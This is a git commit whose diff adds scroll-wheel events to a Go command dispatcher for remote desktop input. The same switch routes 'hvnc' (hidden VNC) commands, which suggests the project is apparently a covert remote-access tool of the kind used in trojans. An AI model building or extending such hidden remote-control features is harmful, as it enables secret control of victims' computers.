add scroll wheel support to remote desktop

This commit is contained in:
KingKDot
2026-04-22 16:15:53 -05:00
parent 55a346e39b
commit 8c3c6de1c3
5 changed files with 37 additions and 1 deletions
@@ -44,7 +44,7 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
case "command":
cmdType, _ := envelope["commandType"].(string)
switch cmdType {
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up",
case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
"desktop_key_down", "desktop_key_up", "desktop_text",
"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":